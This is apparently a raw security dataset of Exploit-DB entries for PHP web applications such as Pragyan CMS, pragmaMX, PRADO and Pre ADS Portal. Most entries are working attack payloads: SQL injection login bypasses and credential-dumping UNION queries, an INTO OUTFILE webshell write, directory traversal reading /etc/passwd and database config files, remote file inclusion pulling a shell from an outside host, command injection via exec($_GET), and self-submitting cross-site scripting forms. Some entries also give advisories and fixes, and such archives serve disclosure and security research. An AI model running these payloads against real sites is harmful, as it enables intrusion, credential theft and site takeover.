deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28129
Description: Practico CMS 13.7 - Authentication Bypass
Type: webapps
Platform: php
Date: 2013-09-06
Author: shiZheni

Exploit:
############################################################
#  ______     __       __   _____    ______   __      __  ____  __         __   _____
# |____     |   |     |     |    | |_     __|  |      ___|  |    |    |    | |         | |     \      |    |  |__   __|
#          /   /     |     |     |    |      |  |         \    \         |    |    |    | |     __| |      \     |    |       |  |
#        /    /      |     |__|    |      |  |            \   \       |    |__|    | |    |__  |       \    |    |       |  |
#      /    /        |      __     |      |  |              \   \     |    __      | |     __| |         \  |    |       |  |
#    /     /___  |     |    |     | __|  |__    ___\   \   |    |    |     | |    |__  |    | \    \|    |  __|  |__
#  |______|  |__|    |__| |______| |_____ | |__|    |__| |____| |__|   \___ | |_____ |
# 
############################################################

# Exploit Title: Practico Login SQL Injection
# Date: 2013 - 08 - 12
# Exploit Author: shiZheni
# Software Link: http://www.codigoabierto.org/
# Software Download Link : http://sourceforge.net/projects/practico/files/
# Version: 13.7 
# Afected Version : 13.7 < and Last 
# Tested on: Window 7 and PHP 5.3.15

==================================================
#1 [ SQLi]  Login - Admin ( Total Access )


POST /demo/practico/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Referer: http://localhost/demo/practico/
Host: localhost
Connection: keep-alive
Accept-Encoding: gzip, deflate

accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=password&captcha=mrr6

This vulnerability give you total access and control in the CMS.
Exploit-DB #22937
Description: PRADO PHP Framework 3.2.0 - Arbitrary File Read
Type: webapps
Platform: php
Date: 2012-11-26
Author: LiquidWorm

Exploit:
PRADO PHP Framework 3.2.0 Arbitrary File Read Vulnerability


Vendor: Prado Software
Product web page: http://www.pradosoft.com
Affected version: 3.2.0 (r3169)

Summary: PRADO is a component-based and event-driven programming
framework for developing Web applications in PHP 5. PRADO stands
for PHP Rapid Application Development Object-oriented.

Desc: Input passed to the 'sr' parameter in 'functional_tests.php'
is not properly sanitised before being used to get the contents of
a resource. This can be exploited to read arbitrary data from local
resources with directory traversal attack.


---------------------------------------------------------------------------------------
/tests/test_tools/functional_tests.php:
---------------------------------------

 3: $TEST_TOOLS = dirname(__FILE__);
 4:
 5: if(isset($_GET['sr']))
 6: {
 7:
 8:     if(($selenium_resource=realpath($TEST_TOOLS.'/selenium/'.$_GET['sr']))!==false)
 9:         echo file_get_contents($selenium_resource);
10: exit;
11: }

---------------------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5113
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5113.php



25.11.2012

--

http://172.162.133.7/tests/test_tools/functional_tests.php?sr=../../../../../../windows/win.ini
http://172.162.133.7/demos/time-tracker/tests/functional.php?sr=../../../../../../windows/win.ini
Exploit-DB #34417
Description: Prado Portal 1.2 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42276/info

Prado Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Prado Portal 1.2.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=x<img+src%3Dx+onerror%3Dalert(document.cookie)>
Exploit-DB #34288
Description: pragmaMX 0.1.11 - 'modules.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-12-22
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/41523/info

pragmaMX is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

pragmaMX 0.1.11 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Your_Account&rop=showcontent"+and+31337-31337=0+--+&id=[PII_REDACTED]email@address.tst
http://www.example.com/modules.php?name=Your_Account&min=0&orderby=dateD"+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://www.example.com/modules.php?name=Your_Account&op=pass_lost&query=[PII_REDACTED]email@address.tst&min=0'+and+31337-31337='0&orderby=dateD
http://www.example.com/modules.php?name=Your_Account&rop=showcontent&id=[PII_REDACTED]email@address.tst"+and+31337-31337="0
Exploit-DB #37313
Description: pragmaMx 1.12.1 - '/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53669/info
 
PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PragmaMX 1.12.1 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
Exploit-DB #37312
Description: pragmaMx 1.12.1 - 'modules.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53669/info

PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PragmaMX 1.12.1 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Themetest&%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
Exploit-DB #18439
Description: PragmaMX 1.2.10 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-31
Author: HauntIT

Exploit:
# TITLE ... # Persistent XSS in PragmaMX 1.12.0 for logged in users    #
# DATE .... # 30.01.2012 .......................................... #
# AUTOHR .. # http://hauntit.blogspot.com ................ #
# SOFT LINK # http://www.pragmamx.org ............................. #
# VERSION . # 1.12.0 .............................................. #
# TESTED ON # LAMP ................................................ #
#...................................................................#

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
 "pragmaMx - the fast CMS". :)
You should try it!

# 2. What is the type of vulnerability?
 This is persistent cross-site scripting for authenticated users.

Vulnerability exists in "Private Messages".
Here I present You sample HTTP traffic (from BurpProxy).

...cut...
POST /pragmaMx_1.12.0/html/modules.php?name=Private_Messages HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101
Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer:
http://pragmaMx_1.12.0/html/modules.php?name=Private_Messages&op=send
Cookie: mxA9649D14D6AAF90E4A70576BF4ACC1=6db52d6de453f7a5890b36ebafd99fda;
tab_ya_edituser=0; PHPSESSID=d7nhrjbs5i2pmjvo6vuj1hg2j1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

name=Private_Messages&op=submit&to_user=adminek&subject=persistent+MSG&image=icon1.gif&message=hi%21%0D%0A%27%3E%3Cimg+src%3Dy+onerror%3Dalert%28%27i+am+watching+you%27%29%3B%3E&msg_id=0&submit=Submit
...cut...

It depends on what code You will add to $message.
Persistent XSS code could be added when You decide to reply, too.

So click 'Reply' button, and as a $message parameter add Your XSS-code.

# 3. Where is bug :)

$message parameter in source code. We need (more) validation here. :)

# 4. More...

- http://www.pragmamx.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# Best regards
#
Exploit-DB #31631
Description: Pragmatic Utopia PU Arcade 2.2 - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-09
Author: MantiS

Exploit:
source: https://www.securityfocus.com/bid/28701/info

PU Arcade is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects PU Arcade 2.2; other versions may also be affected.

http://www.example..com/Path/index.php?option=com_puarcade&Itemid=1&gid=0 UNION SELECTpassword,username,0,0,0 from jos_users--
Exploit-DB #18357
Description: Pragyan CMS 2.6.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-01-13
Author: Dr.KroOoZ

Exploit:
==========================================
# Exploit Title: pragyan 2.6.1 Upload File
# Author: Dr.KroOoZ
# Software : http://ignum.dl.sourceforge.net/project/pragyan/pragyan/2.6.1/pragyan-2.6.1.tar.gz
# Tested on: || Linux || Windows ||
# Dork : 
==========================================
 ===[ Exploit ]===

http://localhost/Path/cms/modules/article/fckEditor/editor/filemanager/browser/default/frmupload.html

Then Upload Shell xD

========================================== 
Homepage : www.ttgsa.com 
==========================================
[»] Greetz to:
[ ZGaRT NeT & R.B.G HackEr & No-QRQR & Mr.Abu.Z7Z7 & New KilleR & FoX HaCkeR & Mr.DH & HaNiBaL KsA ]
Exploit-DB #6078
Description: Pragyan CMS 2.6.2 - 'sourceFolder' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-15
Author: N3TR00T3R

Exploit:
                                         << In The Name Of GOD >>


                  -------------------------------------------------------------
                   -               [ Persian Boys Hacking Team ] -:- 2008
                   -
                   - discovered by N3TR00T3R [at] Y! [dot] com
                   - pragyan 2.6.2 Remote File Includion
                   - download :http://sourceforge.net/project/showfiles.php?group_id=220286 
                   - sp tnx : Sp3shial,Veroonic4,God_Master_hacker,a_reptil,Ciph3r,shayan_cmd
                              r00t.master,Dr.root,Pouya_server,Spyn3t,LordKourosh,123qwe,mr.n4ser
                              Zahacker,goli_boya,i_reza_i,programer, and all irchatan members ...
                            [www.Persian-Boys.com] & [www.irchatan.com]
                  --------------------------------------------------------------

if register_globals = On;


Vul Code : [/cms/modules/form.lib.php]
##########################################################
#global $sourceFolder;
#global $moduleFolder;
#require_once("$sourceFolder/$moduleFolder/form/editform.php");
#require_once("$sourceFolder/$moduleFolder/form/editformelement.php");
#require_once("$sourceFolder/$moduleFolder/form/registrationformgenerate.php");
#require_once("$sourceFolder/$moduleFolder/form/registrationformsubmit.php");
#require_once("$sourceFolder/$moduleFolder/form/viewregistrants.php");
##########################################################

Exploit : 

##########################################################
#
# www.target.com/path/cms/modules/form.lib.php?sourceFolder=http://shell.own3r.by.ru/syn99.php?
#
##########################################################

# milw0rm.com [2008-07-15]
Exploit-DB #10633
Description: Pragyan CMS 2.6.4 - 'search.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-24
Author: Mr.SeCreT

Exploit:
###################### Author: #############################
Author: Mr.SeCreT
E-mail: g-ff@hotmail.com<mailto:g-ff@hotmail.com>
From: Syria
Greeting To: Milw0rm
############## Script Information: #########################
Scipt: Pragyan CMS 2.6.4 (Search.php) Remote File Inclusion Vulnerability
Language: PHP
Download: http://garr.dl.sourceforge.net/project/pragyan/pragyan/2.6.4/pragyan-2.6.4.tar.gz
register_globals = On

################### Vul Code: ##############################
$searchModuleFolder = "$sourceFolder/$moduleFolder/search";
$include_dir = "$searchModuleFolder/include";
include ("$include_dir/commonfuncs.php");

################### Exploit: ###############################
www.site.com/path/cms/modules/search/search.php?moduleFolder=[Evil<http://www.site.com/path/cms/modules/search/search.php?moduleFolder=[Evil> Script]
www.site.com/path/cms/modules/search/search.php?sourceFolder=[Evil<http://www.site.com/path/cms/modules/search/search.php?sourceFolder=[Evil> Script]

############################################################
The End
Exploit-DB #8533
Description: Pragyan CMS 2.6.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-04-24
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: Pragyan CMS
[+] Version: 2.6.4
[+] Website: http://www.pragyan.org

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 22 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Risk: hight
[-] Requisites: magic_quotes_gpc = off/on

This web application is entirely vulnerable to 
SQL Injection because any variable is not 
properly sanitised before being used in an SQL 
query. This can be exploited to manipulate SQL 
queries by injecting arbitrary SQL code.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23


*************************************************

[+] Fix

You must sanitise any user input.


*************************************************

# milw0rm.com [2009-04-24]
Exploit-DB #16247
Description: Pragyan CMS 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-25
Author: Villy & Abhishek Lyall

Exploit:
#Pragyan CMS v 3.0 mutiple Vulnerabilities
#Author Villy and Abhishek Lyall - villys777[at]gmail[dot]com,
abhilyall[at]gmail[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://bugix-security.blogspot.com
#http://www.aslitsecurity.blogspot.com/
#Pragyan CMS v 3.0

Technical Description


1) Code execution in INSTALL/install.php
script not correctly validate entered fields.
possibility to write at password field string:

");echo exec($_GET["a"]);echo ("

or in another fields with turned of javascript.
in cms/config.inc.php will be code:
define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");
which allows command execution.

EXPLOIT:: http://target.com/blog/cms/config.inc.php?a=ls -la

2) sql injection
- get mysql version EXPLOIT::
http://target.com/path/+view&thread_id=-1 UNION ALL SELECT
null,null,null,null,concat(unhex(Hex(cast(@@version as
char)))),null,null,null--

Solution
update to Pragyan CMS 3.0 rev.274

Changelog
2011-19-02 : Initial release
2011-20-02 : Reported to vendor
2011-25-02 : patch released
2011-25-02 : public disclose

Credits
Villy
Abhishek Lyall
pragyan.org
http://bugix-security.blogspot.com
http://www.aslitsecurity.blogspot.com/


Abhishek Lyall
Exploit-DB #18347
Description: Pragyan CMS 3.0 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-01-10
Author: Or4nG.M4N

Exploit:
Title    
Pragyan CMS v 3.0 => [Remote File Disclosure] 
Author   
Or4nG.M4n
Download 
http://space.dl.sourceforge.net/project/pragyan/pragyan/3.0/PragyanCMS-v3.0-beta.tar.bz2

vuln
download.lib.php line 16
vuln
index.php line 234

$_GET['fileget']
 
exploit  http://localhost/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../  etc/passwd . boot.ini

Download Config file 
exploit  /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../appserv/www/Pragyan/cms/config.inc.php
exploit  /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../home/exploitdb/public_html/Pragyan/cms/config.inc.php
Exploit-DB #35991
Description: Pragyan CMS 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-02-04
Author: Steffen Rösemann

Exploit:
Advisory: SQL injection vulnerability in Pragyan CMS v.3.0
Advisory ID: SROEADV-2015-11
Author: Steffen Rösemann
Affected Software: Pragyan CMS v.3
Vendor URL: https://github.com/delta/pragyan, http://delta.nitt.edu/
Vendor Status: vendor did not respond after initial communication
CVE-ID: -

==========================
Vulnerability Description:
==========================

Pragyan CMS v. 3 suffers from a SQL injection vulnerability that can be
abused even by unauthenticated attackers.

==================
Technical Details:
==================

The user-profile of registered users of Pragyan CMS v.3 is vulnerable to
SQL injection attacks. A user-profile can be found in the following
location of a common Pragyan CMS installation:

http://{TARGET}/user:1

Exploit-Example:

http://
{TARGET}/user:1%27+and+1=2+union+select+database%28%29,version%28%29,3+--+



=========
Solution:
=========

Vendor notified, did not respond after initial communication.

If you use Pragyan CMS v.3, please locate the file userprofile.lib.php and
use my patch (see [5], usage at your own risk!).




====================
Disclosure Timeline:
====================
18-Jan-2015 – found the vulnerability
19-Jan-2015 - informed the developers (see [3])
19-Jan-2015 – release date of this security advisory [without technical
details]
19-Jan-2015 - forked the project to keep it available/researchable in its
current state for other researchers [4]
03-Feb-2015 - release date of this security advisory
03-Feb-2015 - provided a patch for vulnerability (see [5])
03-Feb-2015 - send to FullDisclosure



========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://delta.nitt.edu/ / https://github.com/delta/pragyan
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-11.html
[3] https://github.com/delta/pragyan/issues/206
[4] https://github.com/sroesemann/pragyan
[5] http://pastebin.com/ip2gGYuS
Exploit-DB #35409
Description: Pragyan CMS 3.0 Beta - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-03
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46683/info

Pragyan CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Pragyan CMS 3.0 beta is vulnerable; other versions may also be affected. 

<form action="http://host/?page=/MY_PAGE_URL/&action=edit" method="post" name="main">
<input type="hidden" name="CKEditor1" value=&#039;page content"><script>alert(document.cookie)</script>&#039;>
</form>
<script>
document.main.submit();
</script>


<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">
<input type="hidden" name="cms_title" value="Pragyan CMS">
<input type="hidden" name="cms_desc" value=&#039;desc3"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="cms_keywords" value=&#039;Pragyan CMS"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="cms_footer" value=&#039;Powered by Praygan CMS"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="cms_email" value="email@example.com">
<input type="hidden" name="default_template" value="crystalx">
<input type="hidden" name="update_global_settings" value="">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #10872
Description: Pre ADS Portal - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
#   Mega ADS Portal (cid) Remote SQL Injection Vulnerability

#========================================================

#    Author: Hussin X

#    Home :  iq-ty.com/vb<http://iq-ty.com/vb>

#    email:  darkangel_g85[at]Yahoo[DoT]com


#    Vendor : http://www.preprojects.com/ads.asp



Exploit:


server/Script/showcategory.php?cid=-21+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6--

__________________________
table_name : column_name

configuration:paypal_email
configuration:vendorid
configuration:site_name
configuration:email
job_admin_login:aid
job_admin_login:apass
job_admin_login:name
job_admin_login:email
job_aplicants:job_id
job_education:uname
job_careerlevel:clname
job_employer_info:epass
job_employer_info:CompanyName
job_seeker_info:uname
job_seeker_info:upass
job_tempacc:user_id


end

 IQ-SecuritY FoRuM
Exploit-DB #15524
Description: Pre ADS Portal - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-11-13
Author: Cru3l.b0y

Exploit:
In The Name Of GOD
[+] Exploit Title: PRE ADS PORTAL SQL Bypass Vulnerability
[+] Date: 2010-11-13
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.preproject.com/ads.asp
[+] Price : 125.00$
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit : 

            go to /signinform.php
            Username : admin
            Password : 1'or'1'='1